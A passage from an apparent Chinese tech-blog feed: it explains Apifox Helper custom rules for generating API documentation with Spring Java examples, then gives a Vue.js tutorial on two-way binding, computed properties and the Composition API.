通过该规则,您可以从注释标签(如 @urlType)或自定义注解中提取路径选择策略,确保 API 路径的生成符合预期。


配置方法

在配置文件中,您可以通过以下方式定义 path.multi 规则:

  1. 从注释标签中提取路径选择策略

    path.multi=#urlType
    
  2. 从自定义注解中提取路径选择策略

    path.multi[@com.example.springtest.anno.UrlType]=@com.example.springtest.anno.UrlType#value
    
  3. 默认行为
    如果未配置 path.multi 规则,系统会默认选择 ALL 策略。


使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 path.multi 规则:

package com.example.springtest.controller;

import com.example.springtest.anno.UrlType;
import com.example.springtest.entity.User;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/pathMultiController")
public class PathMultiController {

    @GetMapping({"/methodReturnOne", "/methodReturnTwo"})
    public User methodReturnOne() {
        return null;
    }

    /**
     * @urlType first
     */
    @GetMapping({"/methodReturnOneDocFirstDoc", "/methodReturnOneDocTwoDoc"})
    public User methodReturnOneDocFirstDoc() {
        return null;
    }

    @UrlType("first")
    @GetMapping({"/methodReturnOneDocFirstAnno", "/methodReturnOneDocTwoAnno"})
    public User methodReturnOneDocFirstAnno() {
        return null;
    }

    /**
     * @urlType last
     */
    @GetMapping({"/methodReturnOneDocLastDoc", "/methodReturnTwoDocLastDoc", "/methodReturnThreeDocLastDoc"})
    public User methodReturnOneDocLastDoc() {
        return null;
    }

    @UrlType("last")
    @GetMapping({"/methodReturnOneDocLastAnno", "/methodReturnTwoDocLastAnno", "/methodReturnLastDocLastAnno"})
    public User methodReturnOneDocLastAnno() {
        return null;
    }

    /**
     * @urlType all
     */
    @GetMapping({"/methodReturnOneDocAllDoc", "/methodReturnTwoDocAllDoc", "/methodReturnThreeDocAllDoc"})
    public User methodReturnOneDocAllDoc() {
        return null;
    }

    @UrlType("all")
    @GetMapping({"/methodReturnOneDocAllAnno", "/methodReturnTwoDocAllAnno", "/methodReturnLastDocAllAnno"})
    public User methodReturnOneDocAllAnno() {
        return null;
    }
}

示例解析
  1. 默认行为

    • methodReturnOne 方法未指定路径选择策略,系统会默认选择 ALL 策略
  2. 通过注释标签定义路径选择策略

    • methodReturnOneDocFirstDoc 方法的注释中,使用 @urlType first 标签明确指定了路径选择策略为 FIRST
    • 系统会根据配置的 path.multi=#urlType 规则,从注释中提取策略并选择第一个路径 /methodReturnOneDocFirstDoc
  3. 通过自定义注解定义路径选择策略

    • methodReturnOneDocFirstAnno 方法中,使用 @UrlType("first") 注解指定了路径选择策略为 FIRST
    • 系统会根据配置的 path.multi[@com.example.springtest.anno.UrlType]=@com.example.springtest.anno.UrlType#value 规则,从注解中提取策略并选择第一个路径 /methodReturnOneDocFirstAnno
  4. 其他策略示例

    • LAST 策略

      • methodReturnOneDocLastDoc 方法使用 @urlType last 标签,选择最后一个路径 /methodReturnThreeDocLastDoc
      • methodReturnOneDocLastAnno 方法使用 @UrlType("last") 注解,选择最后一个路径 /methodReturnLastDocLastAnno
    • ALL 策略

      • methodReturnOneDocAllDoc 方法使用 @urlType all 标签,为所有路径生成独立的 API。
      • methodReturnOneDocAllAnno 方法使用 @UrlType("all") 注解,为所有路径生成独立的 API。

适用场景
  • 多路径 API 处理:当 API 有多个可用路径时,根据业务需求选择合适的路径生成策略。
  • 统一路径生成规范:在团队协作中,确保 API 路径生成的一致性,提升代码可读性和维护性。
  • 灵活配置策略:支持从注释标签、自定义注解等多种来源提取路径选择策略,满足不同项目的需求。
导出结果

在这里插入图片描述

2. 参数(Parameter)相关规则

2.1 API 配置:param.defaultValue 规则详解

功能描述
param.defaultValue 用于设置 API 参数的默认值。通过该规则,您可以从自定义注解(如 @DefaultValue)中提取参数的默认值,确保 API 在未传入参数时使用预设的默认值。


配置方法

在配置文件中,您可以通过以下方式定义 param.defaultValue 规则:

  1. 从自定义注解中提取默认值

    param.defaultValue[@com.example.springtest.anno.DefaultValue]=@com.example.springtest.anno.DefaultValue#value
    
  2. 默认行为
    如果未配置 param.defaultValue 规则,系统不会为参数设置默认值。


使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 param.defaultValue 规则:

package com.example.springtest.controller;

import com.example.springtest.anno.DefaultValue;
import com.example.springtest.entity.User;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/paramDefaultController")
public class ParamDefaultController {

    /**
     * @param id 参数 ID
     * @return 返回值描述
     */
    @GetMapping("/paramDefault")
    public User paramDefault(@DefaultValue("默认数据") String id) {
        return null;
    }

}

示例解析
  1. 通过自定义注解设置默认值

    • paramDefault 方法中,使用 @DefaultValue("默认数据") 注解为 id 参数设置了默认值 "默认数据"
    • 系统会根据配置的 param.defaultValue[@com.example.springtest.anno.DefaultValue]=@com.example.springtest.anno.DefaultValue#value 规则,从注解中提取默认值。

适用场景
  • 未传参数时的默认值:当 API 调用未传入参数时,使用预设的默认值,避免空值或异常。
  • 统一参数默认值规范:在团队协作中,确保 API 参数的默认值一致,提升代码可读性和维护性。
  • 增强 API 文档信息:通过描述信息,明确参数的用途和默认值,方便开发者理解和使用。
导出结果

在这里插入图片描述

2.2 API 配置:param.description 规则详解

功能描述
param.description 用于为 API 参数添加额外的注释信息,例如参数类型、描述等。通过该规则,您可以从注释标签、自定义注解或脚本中提取参数描述信息,增强 API 文档的可读性和实用性。


配置方法

在配置文件中,您可以通过以下方式定义 param.description 规则:

  1. 从自定义注解中提取描述信息

    param.description[@com.example.springtest.anno.DefaultValue]=@com.example.springtest.anno.DefaultValue#desc
    
  2. 默认行为
    如果未配置 param.description 规则,系统不会为参数添加额外的描述信息。


使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 param.description 规则:

package com.example.springtest.controller;

import com.example.springtest.anno.DefaultValue;
import com.example.springtest.entity.User;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/paramDefaultController")
public class ParamDefaultController {

    /**
     * @param id 描述 ID 拼接
     * @return 返回值描述是个用户
     */
    @GetMapping("/paramDefaultDesc")
    public User paramDefaultDesc(@DefaultValue(value = "默认数据Desc", desc = "描述ID") String id) {
        return null;
    }

}

示例解析
  1. 通过自定义注解提取描述信息

    • paramDefaultDesc 方法中,使用 @DefaultValue(value = "默认数据Desc", desc = "描述ID") 注解为 id 参数设置了描述信息 "描述ID"
    • 系统会根据配置的 param.description[@com.example.springtest.anno.DefaultValue]=@com.example.springtest.anno.DefaultValue#desc 规则,从注解中提取描述信息并添加到 API 文档中。

适用场景
  • 增强 API 文档信息:为参数添加类型和描述信息,帮助开发者更好地理解和使用 API。
  • 统一参数描述规范:在团队协作中,确保 API 参数的描述信息一致,提升代码可读性和维护性。
  • 动态生成描述信息:通过脚本动态生成参数类型描述,减少手动维护成本。
导出结果

在这里插入图片描述

2.3 API 配置:param.type 规则详解

功能描述
param.type 用于设置 API 参数在 HTTP 请求中的类型(位置:bodyformquery)。通过该规则,您可以灵活控制参数的传递方式,确保 API 请求符合预期。

注意

  • 如果参数使用了 @RequestBody@ModelAttribute@RequestHeader@PathVariable 等注解,则忽略此规则。
  • 如果参数使用了 @RequestParam 且 HTTP 方法为 GET,则忽略此规则。
  • 如果未配置 param.type 规则,系统会默认将参数作为 query 传递。

配置方法

在配置文件中,您可以通过以下方式定义 param.type 规则:

  1. 从自定义注解中提取参数类型

    param.type[@com.example.springtest.anno.ParamType]=@com.example.springtest.anno.ParamType#value
    
  2. 全局设置参数类型

    • 将所有参数设置为 form 类型:

      param.type=form
      
    • @RequestParam 注释参数作为 query,其他参数作为 form

      param.type[#requestParam]=query
      param.type=form
      
  3. 默认行为
    如果未配置 param.type 规则,系统会默认将参数作为 query 传递。


使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 param.type 规则:

package com.example.springtest.controller;

import com.example.springtest.anno.ParamType;
import com.example.springtest.entity.User;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping(value = "/methodDefaultContentTypeController")
public class MethodDefaultContentTypeController {

    /**
     * 将参数设置为 form 类型
     */
    @PostMapping("/paramTypeForm")
    public String paramTypeForm(@ParamType("form") User data) {
        return "paramTypeForm";
    }

    /**
     * 将参数设置为 body 类型
     */
    @PostMapping("/paramTypeBody")
    public String paramTypeBody(@ParamType("body") User data) {
        return "paramTypeBody";
    }

    /**
     * 将参数设置为 query 类型
     */
    @PostMapping("/paramTypeQuery")
    public String paramTypeQuery(@ParamType("query") User data) {
        return "paramTypeQuery";
    }
}

示例解析
  1. 通过自定义注解设置参数类型

    • paramTypeForm 方法中,使用 @ParamType("form") 注解将 data 参数设置为 form 类型。
    • 系统会根据配置的 param.type[@com.example.springtest.anno.ParamType]=@com.example.springtest.anno.ParamType#value 规则,从注解中提取参数类型并应用到请求中。
  2. 设置参数为 body 类型

    • paramTypeBody 方法中,使用 @ParamType("body") 注解将 data 参数设置为 body 类型。
    • 系统会将参数作为请求体传递。
  3. 设置参数为 query 类型

    • paramTypeQuery 方法中,使用 @ParamType("query") 注解将 data 参数设置为 query 类型。
    • 系统会将参数作为查询参数传递。

适用场景
  • 灵活控制参数传递方式:根据业务需求,将参数设置为 bodyformquery 类型。
  • 统一参数传递规范:在团队协作中,确保 API 参数的传递方式一致,提升代码可读性和维护性。
  • 支持多种参数类型:满足不同场景下的参数传递需求,例如表单提交、JSON 请求体、URL 查询参数等。
导出结果

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.4 API 配置:param.ignore 规则详解

功能描述
param.ignore 用于忽略 API 中的某些参数,使其不参与请求处理或文档生成。通过该规则,您可以从自定义注解(如 @ParamIgnore)中标记需要忽略的参数,确保这些参数不会影响 API 的逻辑或文档。


配置方法

在配置文件中,您可以通过以下方式定义 param.ignore 规则:

  1. 从自定义注解中标记忽略参数

    param.ignore[@com.example.springtest.anno.ParamIgnore]=true
    
  2. 默认行为
    如果未配置 param.ignore 规则,系统不会忽略任何参数。


使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 param.ignore 规则:

package com.example.springtest.controller;

import com.example.springtest.anno.ParamIgnore;
import com.example.springtest.entity.User;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/paramIgnoreController")
public class ParamIgnoreController {

    @GetMapping("/paramIgnoreNoChange")
    public String paramIgnoreNoChange(String id, String sex, User user) {
        return "paramIgnoreNoChange";
    }

    @GetMapping("/paramIgnoreChange")
    public String paramIgnoreChange(@ParamIgnore String id, String sex, @ParamIgnore User user) {
        return "paramIgnoreChange";
    }
}

示例解析
  1. 默认行为

    • paramIgnoreNoChange 方法中,未使用 @ParamIgnore 注解,因此所有参数(idsexuser)都会参与请求处理并出现在 API 文档中。
  2. 通过自定义注解忽略参数

    • paramIgnoreChange 方法中,使用 @ParamIgnore 注解标记了 iduser 参数。
    • 系统会根据配置的 param.ignore[@com.example.springtest.anno.ParamIgnore]=true 规则,忽略这些参数,使其不参与请求处理且不出现在 API 文档中。

适用场景
  • 隐藏敏感参数:忽略某些敏感参数(如内部标识符),避免其出现在 API 文档中。
  • 排除无用参数:忽略某些不参与实际逻辑处理的参数,简化 API 请求和文档。
  • 灵活控制参数可见性:根据业务需求,动态选择需要忽略的参数。
导出结果

在这里插入图片描述

在这里插入图片描述

2.5 API 配置:param.required 规则详解

功能描述
param.required 用于标记 API 参数是否为必填项。通过该规则,您可以从自定义注解(如 @ParamRequest)中提取参数是否为必填的信息,确保 API 调用时必填参数的校验逻辑正确。


配置方法

在配置文件中,您可以通过以下方式定义 param.required 规则:

  1. 从自定义注解中标记必填参数

    param.required[@com.example.springtest.anno.ParamRequest]=true
    
  2. 默认行为
    如果未配置 param.required 规则,系统会默认将参数标记为非必填。


使用示例

以下是一个完整的代码示例,展示了如何在 Java 中使用 param.required 规则:

package com.example.springtest.controller;

import com.example.springtest.anno.ParamRequest;
import com.example.springtest.entity.User;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping(value = "/paramRequestController")
public class ParamRequestController {

    @GetMapping("/paramRequestControllerNoChange")
    public String paramRequestControllerNoChange(String id, String sex) {
        return "paramRequestControllerNoChange";
    }

    @GetMapping("/paramRequestControllerChange")
    public String paramRequestControllerChange(@ParamRequest String id, String sex) {
        return "paramRequestControllerChange";
    }
}

示例解析
  1. 默认行为

    • paramRequestControllerNoChange 方法中,未使用 @ParamRequest 注解,因此所有参数(idsex)都会被标记为非必填。
  2. 通过自定义注解标记必填参数

    • paramRequestControllerChange 方法中,使用 @ParamRequest 注解标记了 id 参数。
    • 系统会根据配置的 param.required[@com.example.springtest.anno.ParamRequest]=true 规则,将这些参数标记为必填项。

适用场景
  • 必填参数校验:确保 API 调用时必填参数的正确性,避免因参数缺失导致的逻辑错误。
  • 统一参数校验规范:在团队协作中,确保 API 参数的必填规则一致,提升代码可读性和维护性。
  • 灵活控制参数必填性:根据业务需求,动态选择需要标记为必填的参数。
导出结果

在这里插入图片描述

在这里插入图片描述

3. 数据模型字段(Field)相关规则

3.1 API 配置:field.schema.permit.null 规则详解

功能描述
field.schema.permit.null 用于设置数据模型字段是否允许为 null。默认情况下,字段不允许为 null。通过该规则,您可以从自定义注解(如 @Null)中提取字段是否允许为 null 的信息,确保数据模型的校验逻辑符合业务需求。


配置方法

在配置文件中,您可以通过以下方式定义 field.schema.permit.null 规则:

  1. 从自定义注解中标记字段允许为 null

    field.schema.permit.null=@com.example.springtest.anno.Null
    
  2. 默认行为
    如果未配置 field.schema.permit.null 规则,系统会默认将字段标记为不允许为 null


3.2 API 配置:field.defaultValue 规则详解

功能描述
field.defaultValue 用于设置数据模型字段的默认值。通过该规则,您可以从注释标签(如 #default)或自定义注解(如 @DefaultValueAnno)中提取字段的默认值,确保数据模型在未显式赋值时使用预设的默认值。


配置方法

在配置文件中,您可以通过以下方式定义 field.defaultValue 规则:

  1. 从注释标签中提取默认值

    field.defaultValue=#default
    
  2. 从自定义注解中提取默认值

    field.defaultValue[@com.example.springtest.anno.DefaultValueAnno]=@com.example.springtest.anno.DefaultValueAnno#value
    
  3. 默认行为
    如果未配置 field.defaultValue 规则,系统不会为字段设置默认值。

由于篇幅问题 这里就一把梭了。所有关于数据模型的规则全部在这个java代码里面


field.defaultValue=#default
field.example=#example
field.description=#fieldDesc
field.ignore=#fieldIgnore
field.ignore=ignoreLog
field.mock=#mock
float_with_two=@natural(0,10000).@natural(0,100)
field.name=#fieldName
field.required=#fieldRequire
#constant.field.ignore=XXID
field.schema.title=#chineseName
field.schema.min.length=#minLength
field.schema.max.length=#maxLength
field.schema.format=#format
field.schema.pattern=#pattern
field.schema.const=#const
field.schema.read.only=#readOnly
field.schema.write.only=#writeOnly
field.schema.permit.null=#null
field.order[@com.example.springtest.anno.Order]=@com.example.springtest.anno.Order#value
field.defaultValue[@com.example.springtest.anno.DefaultValueAnno]=@com.example.springtest.anno.DefaultValueAnno#value
field.example[@com.example.springtest.anno.Example]=@com.example.springtest.anno.Example#value
field.description[@com.example.springtest.anno.FieldDesc]=@com.example.springtest.anno.FieldDesc#value
field.ignore=@com.example.springtest.anno.FieldIgnore#value
field.mock=@com.example.springtest.anno.Mock#value
field.name=@com.example.springtest.anno.FieldName#value
field.required=@com.example.springtest.anno.FieldRequire#value
field.schema.title=@com.example.springtest.anno.ChineseName#value
field.schema.min.length=@com.example.springtest.anno.MinLength#value
field.schema.max.length=@com.example.springtest.anno.MaxLength#value
field.schema.format=@com.example.springtest.anno.Format#value
field.schema.pattern=@com.example.springtest.anno.Pattern#value
field.schema.const=@com.example.springtest.anno.Const#value
field.schema.read.only=@com.example.springtest.anno.ReadOnly#value
field.schema.write.only=@com.example.springtest.anno.WriteOnly#value
field.schema.permit.null=@com.example.springtest.anno.Null

package com.example.springtest.entity;

import com.example.springtest.anno.*;
import com.example.springtest.enumData.EnumData;
import com.example.springtest.enumData.UserTypeConstant;
import jakarta.annotation.Nullable;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import java.io.Serializable;
import java.util.List;

/**
 * 描述有问题
 */
@Data
@AllArgsConstructor
@NoArgsConstructor
public class FieldDefaultDto<T> implements Serializable {

    private List<T> data;

    private Object obj;

    private static final long serialVersionUID = -4607862808303533196L;


    private String price;//价格
    private String name;//名字
    private Integer age;//年龄

    /**
     * @default 100
     */
    private Integer ageAnno;

    @DefaultValueAnno("999")
    private Integer ageDoc;

    /**
     * @example 90
     */
    private Integer exampleAgeAnno;

    @Example("101")
    private Integer exampleAgeDoc;

    /**
     * 描述2
     *
     * @fieldDesc 描述一
     */
    private String descAnno;

    /**
     * 直接描述
     *
     * @fieldDesc 注释描述
     */
    @FieldDesc("注解描述")
    private String descDoc;

    private String ignoreNoField;

    /**
     * @fieldIgnore true
     */
    private String ignoreFieldAnno;

    @FieldIgnore(value = true)
    private String ignoreFieldDoc;

    private String log;
    private String ignoreLog;


    private String noMock;

    /**
     * @mock 1@natural(0,9)
     */
    private String mockDoc;

    @Mock("1@natural(0,10)")
    private String mockAnno;

    /**
     * @mock ${float_with_two}
     */
    private String mockDoc$;

    @Mock("${float_with_two}")
    private String mockAnno$;

    private String fieldName;

    /**
     * @fieldName fieldNameDoc
     */
    private String fieldNameD;

    @FieldName("fieldNameAnno")
    private String fieldNameA;

    private String fieldNoRequire;

    /**
     * @fieldRequire true
     */
    private String fieldRequireDoc;

    @FieldRequire(value = true)
    private String fieldRequireAnno;

    private UserTypeConstant userTypeConstant;

    /**
     * @see UserTypeConstant
     */
    private String userTypeConstantString;

    private String noChineseName;

    /**
     * @chineseName 注释中文名
     */
    private String chineseNameDoc;

    @ChineseName("注解中文名")
    private String chineseNameAnno;


    private String noMaxLength;

    /**
     * @maxLength 10
     */
    private String maxLengthDoc;

    @MaxLength("20")
    private String maxLengthAnno;

    private String noMinLength;

    /**
     * @minLength 10
     */
    private String minLengthDoc;

    @MinLength("20")
    private String minLengthAnno;

    private Integer noFormat;

    /**
     * @format long
     */
    private Integer formatDoc;

    @Format("long")
    private Integer formatAnno;

    private String noPattern;

    /**
     * @pattern ^\d{3}$
     */
    private String patternDoc;

    @Pattern("^\\d{4}$")
    private String patternAnno;

    private String noConst;

    /**
     * @const testDoc
     */
    private String constDoc;

    @Const("testAnno")
    private String constAnno;

    private String noReadOnly;

    /**
     * @readOnly
     */
    private String readOnlyDoc;

    @ReadOnly
    private String readOnlyAnno;


    private String noWriteOnly;

    /**
     * @writeOnly
     */
    private String writeOnlyDoc;

    @WriteOnly
    private String writeOnlyAnno;

    private String permitNull;

    /**
     * @null
     */
    private String permitNullDoc;

    @Null
    private Integer permitNullAnno;


    /**
     * @see EnumData#getAddress()
     */
    private String enumDataString;


    /**
     * @see EnumData#address
     */
    private String enumDataInteger;

    /**
     * @see EnumData
     */
    private EnumData enumDataSee;

    private EnumData address;

    private OpenDateEnum openDateEnum;


//    /**
//     * @writeOnly
//     */
//    private Case writeOnly;

    /**
     * @readOnly
     */
    private Case readOnly;


    /**
     * @fieldDoc 字段描述
     */
    private String fieldDoc;

    /**
     * @fieldDoc 字段描述数组
     */
    private List<String> fieldDocList;

    /**
     * 对象描述1
     *
     * @chineseName 注释中文名1
     */
    @FieldRequire
    @Null
    private FieldOrder desc1;

    /**
     * 对象描述2
     *
     * @chineseName 注释中文名2
     */
    @FieldIgnore
    private FieldOrder desc2;

    /**
     * 对象描述3
     *
     * @chineseName 注释中文名3
     */
    @FieldName("desc4")
    private FieldOrder desc3;

    @FieldRequire
    @Nullable
    private FieldOrder desc5;

    @FieldRequire
    @org.springframework.lang.Nullable
    private FieldOrder desc6;

    public String getPrice() {
        return price;
    }
}

package com.example.springtest.controller;

import com.example.springtest.entity.Case;
import com.example.springtest.entity.FieldDefaultDto;
import org.springframework.web.bind.annotation.*;

import java.util.List;

@RestController
@RequestMapping(value = "/fieldDefaultValueController")
public class FieldDefaultValueController {


    @PostMapping("/fieldDefaultValue")
    public String fieldDefaultValue(@RequestBody List<FieldDefaultDto<Case>> fieldDefaultDto){
        return "fieldDefaultValueController";
    }

    @PostMapping("/fieldExampleValue")
    public String fieldExampleValue(FieldDefaultDto fieldDefaultDto){
        return "fieldExampleValue";
    }

    @GetMapping("/fieldExampleValueGet")
    public String fieldExampleValueGet(FieldDefaultDto fieldDefaultDto){
        return "fieldExampleValue";
    }

    @GetMapping("/fieldDefaultValueGet")
    public String fieldDefaultValueGet(@RequestBody FieldDefaultDto fieldDefaultDto){
        return "fieldDefaultValueController";
    }

    @GetMapping("/fieldDefaultValueGetRead")
    public FieldDefaultDto fieldDefaultValueGetRead(@RequestBody FieldDefaultDto fieldDefaultDto){
        return null;
    }

}

导出结果

在这里插入图片描述

总结

Apifox Helper 的自定义规则功能,赋予开发者极高的灵活性,能够根据项目需求定制 API 文档生成规则。通过简单的配置,即可实现:

  • 统一规范:团队协作中强制统一命名、格式、校验规则。

  • 复杂场景适配:处理多路径、动态参数、泛型返回值等特殊场景。

  • 文档增强:自动生成详细参数说明、Mock 数据、状态标记,提升文档质量。

  • 高效维护:减少手动维护成本,通过注解和脚本动态生成内容。

Apifox Helper 的自定义规则如同乐高积木,开发者可通过灵活组合实现高度定制化的 API 文档管理。无论是统一团队规范,还是适配复杂业务逻辑,这一功能都能显著提升开发效率与文档质量。掌握本文核心规则后,结合官方文档探索更多可能性,将使您的 API 工程化水平更上一层楼!

by abstractclass at January 30, 2025 01:39 PM

juejin frontend

### 标题:深入理解 Vue.js 中的双向绑定与数据驱动


引言

在现代前端开发中,Vue.js 以其简洁的语法和强大的功能成为了许多开发者的首选框架。Vue 的核心特性之一是双向绑定,它使得开发者能够轻松地实现数据与界面之间的同步更新。本文将深入探讨 Vue 中的双向绑定机制,并结合实际案例讲解如何利用这一特性提高开发效率和代码质量。


一、双向绑定的基础概念

数据驱动的界面

在传统的前端开发中,开发者需要手动操作 DOM 来更新界面,这不仅繁琐,还容易出错。Vue 提供了数据驱动的理念,通过 {{}} 插值语法将数据绑定到界面上,实现了数据与界面的自动同步。

<!-- 示例:数据驱动的界面 -->
<div id="app">
  <h1>{{ title }}</h1>
</div>

<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>
<script>
  new Vue({
    el: '#app',
    data() {
      return {
        title: 'Hello Vue!'
      };
    }
  });
</script>

在这个示例中,当 title 数据发生变化时,界面会自动更新。

v-model 实现双向绑定

虽然 {{}} 实现了数据到界面的单向绑定,但要实现界面到数据的同步更新,还需要使用 v-model 指令。v-model 是 Vue 提供的专门用于实现双向绑定的指令,通常用于表单元素(如 <input><textarea><select>)。

<!-- 示例:使用 v-model 实现双向绑定 -->
<div id="app">
  <input v-model="title" />
  <p>{{ title }}</p>
</div>

<script>
  new Vue({
    el: '#app',
    data() {
      return {
        title: ''
      };
    }
  });
</script>

在这个示例中,输入框中的内容会实时反映到 title 数据上,反之亦然。


二、动态绑定属性

动态绑定类名

除了绑定数据,Vue 还提供了动态绑定属性的功能。例如,可以使用 :class 动态绑定类名,根据数据状态来控制元素的样式。

<!-- 示例:动态绑定类名 -->
<div id="app">
  <div :class="{ active: isActive }">This is a dynamic class binding example.</div>
  <button @click="toggleActive">Toggle Active</button>
</div>

<script>
  new Vue({
    el: '#app',
    data() {
      return {
        isActive: false
      };
    },
    methods: {
      toggleActive() {
        this.isActive = !this.isActive;
      }
    }
  });
</script>

在这个示例中,点击按钮会切换 isActive 的值,从而动态改变 div 元素的类名。

动态绑定其他属性

类似的,还可以使用 :value 或其他属性绑定方式来动态设置元素的属性。

<!-- 示例:动态绑定 value 属性 -->
<div id="app">
  <input :value="inputValue" @input="updateValue" />
  <p>Current Value: {{ inputValue }}</p>
</div>

<script>
  new Vue({
    el: '#app',
    data() {
      return {
        inputValue: ''
      };
    },
    methods: {
      updateValue(event) {
        this.inputValue = event.target.value;
      }
    }
  });
</script>

在这个示例中,输入框的值会实时更新到 inputValue 数据上。


三、计算属性的应用

计算属性的基本用法

计算属性是 Vue 提供的一种特殊的数据类型,它可以根据其他数据的变化自动计算出新的值。计算属性的形式是一个函数,返回一个值。

<!-- 示例:使用计算属性 -->
<div id="app">
  <ul>
    <li v-for="todo in todos" :key="todo.id">{{ todo.title }} - {{ todo.done ? 'Done' : 'Pending' }}</li>
  </ul>
  <p>All Todos: {{ allTodos }}</p>
</div>

<script>
  new Vue({
    el: '#app',
    data() {
      return {
        todos: [
          { id: 1, title: 'Learn Vue', done: false },
          { id: 2, title: 'Build a Todo App', done: true }
        ]
      };
    },
    computed: {
      allTodos() {
        return this.todos.length;
      }
    }
  });
</script>

在这个示例中,allTodos 是一个计算属性,它根据 todos 数组的长度返回所有待办事项的数量。

依赖项的变化触发重新计算

计算属性的一个重要特性是,当其依赖的数据发生变化时,计算属性会自动重新计算并返回新的值。

// 示例:计算属性依赖项变化触发重新计算
computed: {
  completedTodos() {
    return this.todos.filter(todo => todo.done).length;
  }
}

在这个示例中,completedTodos 计算属性会根据 todos 数组的变化自动更新已完成任务的数量。


四、数据和界面状态的一致性

单向数据绑定 vs 双向绑定

在 Vue 中,{{}} 实现的是单向数据绑定,即数据驱动界面,但界面的变化不会影响数据。而 v-model 实现的是双向绑定,界面的变化会同步更新数据。

<!-- 示例:单向数据绑定 -->
<div id="app">
  <p>{{ message }}</p>
  <input type="text" :value="message" @input="updateMessage" />
</div>

<script>
  new Vue({
    el: '#app',
    data() {
      return {
        message: 'Hello Vue!'
      };
    },
    methods: {
      updateMessage(event) {
        this.message = event.target.value;
      }
    }
  });
</script>

在这个示例中,{{ message }} 实现了单向数据绑定,而 v-model 可以简化为:

<!-- 示例:双向绑定 -->
<div id="app">
  <p>{{ message }}</p>
  <input v-model="message" />
</div>

状态一致性的维护

为了确保数据和界面状态的一致性,Vue 提供了多种机制,如 watch 监听器和计算属性。这些机制可以帮助开发者在数据变化时及时更新界面,避免不一致的情况发生。

// 示例:使用 watch 监听器
watch: {
  message(newValue, oldValue) {
    console.log(`Message changed from ${oldValue} to ${newValue}`);
  }
}

在这个示例中,watch 监听器会在 message 数据发生变化时触发回调函数,记录变化前后的值。


五、依赖项的联动一致

多个数据项的联动

在实际项目中,往往需要多个数据项之间进行联动。例如,在一个 Todos 应用中,allDone 状态应该与 todos 数组的状态保持一致。

<!-- 示例:Todos 应用 -->
<div id="app">
  <ul>
    <li v-for="todo in todos" :key="todo.id">
      <input type="checkbox" v-model="todo.done" />
      {{ todo.title }}
    </li>
  </ul>
  <button @click="toggleAll">Toggle All Done</button>
  <p>All Done: {{ allDone }}</p>
</div>

<script>
  new Vue({
    el: '#app',
    data() {
      return {
        todos: [
          { id: 1, title: 'Learn Vue', done: false },
          { id: 2, title: 'Build a Todo App', done: true }
        ]
      };
    },
    computed: {
      allDone() {
        return this.todos.every(todo => todo.done);
      }
    },
    methods: {
      toggleAll() {
        const status = !this.allDone;
        this.todos.forEach(todo => (todo.done = status));
      }
    }
  });
</script>

在这个示例中,点击“Toggle All Done”按钮会统一设置所有待办事项的状态,并且 allDone 计算属性会根据 todos 数组的状态自动更新。


六、Vue 2.0 与 Vue 3.0 的对比

Vue 2.0 的优势与局限

Vue 2.0 提供了简单易用的 API,使得开发者能够快速上手并专注于业务逻辑的开发。然而,随着项目的规模增大,Vue 2.0 的选项式 API 显得不够灵活,尤其是在大型项目中,代码的可维护性成为一个问题。

// Vue 2.0 示例:选项式 API
export default {
  data() {
    return {
      message: 'Hello Vue!'
    };
  },
  methods: {
    updateMessage(newVal) {
      this.message = newVal;
    }
  },
  computed: {
    reversedMessage() {
      return this.message.split('').reverse().join('');
    }
  }
};

Vue 3.0 的改进

Vue 3.0 引入了组合式 API,允许开发者将相关的逻辑放在一起,提高了代码的可读性和可维护性。对于大型项目来说,这种组织方式更加清晰,便于模块化开发。

// Vue 3.0 示例:组合式 API
import { ref, computed } from 'vue';

export default {
  setup() {
    const message = ref('Hello Vue!');
    const reversedMessage = computed(() => message.value.split('').reverse().join(''));

    const updateMessage = (newVal) => {
      message.value = newVal;
    };

    return {
      message,
      reversedMessage,
      updateMessage
    };
  }
};

在这个示例中,setup 函数将数据、计算属性和方法集中在一起,使得代码结构更加清晰。


七、总结与展望

数据和界面状态的正确性

在现代前端开发中,数据和界面状态的一致性至关重要。Vue 通过双向绑定和计算属性等机制,帮助开发者轻松实现数据与界面的同步更新,确保了应用的正确性和稳定性。

Vue 的未来发展方向

随着 Vue 3.0 的发布,Vue 在性能、灵活性和可维护性方面都有了显著提升。未来的 Vue 将继续朝着更高效、更灵活的方向发展,帮助开发者构建更加复杂和强大的应用。

不犯错误,数据和界面保持一致

通过合理使用 Vue 的双向绑定、计算属性等功能,开发者可以在开发过程中减少错误,确保数据和界面状态的一致性。无论是小型项目还是大型项目,Vue 都能提供强大的支持,帮助开发者专注于业务逻辑的实现。

希望本文能为你提供一个全面的理解 Vue 双向绑定和数据驱动的视角,并启发你在未来的前端开发中更好地运用这些理念和技术。如果你有任何问题或需要更多具体的示例,请随时告知!


结论

从刀耕火种的手动 DOM 操作到现代前端框架的广泛应用,前端开发经历了巨大的变革。Vue 以其简洁的语法和强大的功能,帮助开发者专注于业务逻辑的实现,而无需关心底层的 DOM 操作。通过数据驱动的设计理念、组件化开发、事件监听与修饰符、以及动态样式和条件渲染等功能,Vue 大大提升了开发效率和用户体验。

by 爱喝羊奶 at January 30, 2025 12:53 PM

从前端到全栈:Docker 部署 Node.js + MySQL 后端和 Vue.js 前端

引言

